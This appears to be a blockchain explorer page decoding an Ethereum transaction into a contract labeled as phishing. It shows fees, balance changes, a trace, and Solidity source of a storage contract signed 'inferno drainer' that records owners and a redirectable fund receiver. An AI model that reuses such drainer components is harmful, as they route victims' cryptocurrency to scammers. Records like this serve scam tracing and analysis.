ETH Price: $2,423.43 (-1.07%)

Transaction Decoder

Block:
22789791 at Jun-26-2025 04:24:59 PM +UTC
Transaction Fee:
0.00084043269123343 ETH $2.04
Gas Used:
168,085 Gas / 5.000045758 Gwei

Emitted Events:

132 0x0000102b6b5acfd31b570b9c3341eef429ac0000.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x000000000000000000000000eab3f3bc98c5e8f89d62e3693ecc384238c14d13, 000000000000000000000000000000000000000000003c81f135dde50dcc0000 )

Account State Difference:

  Address   Before After State Difference Code
0x0000102b...429ac0000 0.071170056994500886 Eth0.155363809869841033 Eth0.084193752875340147
(Titan Builder)
12.924741401121207107 Eth12.925077571121207107 Eth0.00033617
0xeaB3F3bc...238c14d13
0.113246965967635769 Eth
Nonce: 60
0.028212780401062192 Eth
Nonce: 62
0.085034185566573577From: 0 To: 22892026855592066050609947431602401211538835161166308139

Execution Trace

0xeab3f3bc98c5e8f89d62e3693ecc384238c14d13.e9ae5c53( )
  • ETH 0.084193752875340147 Fake_Phishing1259698.8bf4eff3( )
    • StorageContract.CALL( )
    • Fake_Phishing1259698.88417d5c( )
      // @mr_inferno_drainer / inferno drainer
      
      pragma solidity ^0.8.6;
      
      contract StorageContract {
          address public nativeCryptoReceiver;
          address[] public owners;
      
          constructor(address defaultNativeCryptoReceiver, address firstOwner) {
              nativeCryptoReceiver = defaultNativeCryptoReceiver;
              owners.push(firstOwner);
          }
      
          modifier onlyOwner() {
              bool isOwner = false;
              for (uint256 i = 0; i < owners.length; i++) {
                  if (msg.sender == owners[i]) {
                      isOwner = true;
                      break;
                  }
              }
              require(isOwner, "Caller is not an owner");
              _;
          }
      
          function addOwner(address newOwner) public onlyOwner {
              owners.push(newOwner);
          }
      
          function getOwners() public view returns (address[] memory) {
              return owners;
          }
      
          function removeOwner(address ownerToRemove) public onlyOwner {
              uint256 index = type(uint256).max;
      
              for (uint256 i = 0; i < owners.length; i++) {
                  if (owners[i] == ownerToRemove) {
                      index = i;
                      break;
                  }
              }
      
              require(index != type(uint256).max, "Owner not found");
              require(owners.length > 1, "Cannot remove the last owner");
      
              owners[index] = owners[owners.length - 1];
              owners.pop();
          }
      
          function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
              public
              onlyOwner
          {
              nativeCryptoReceiver = newNativeCryptoReceiver;
          }
      }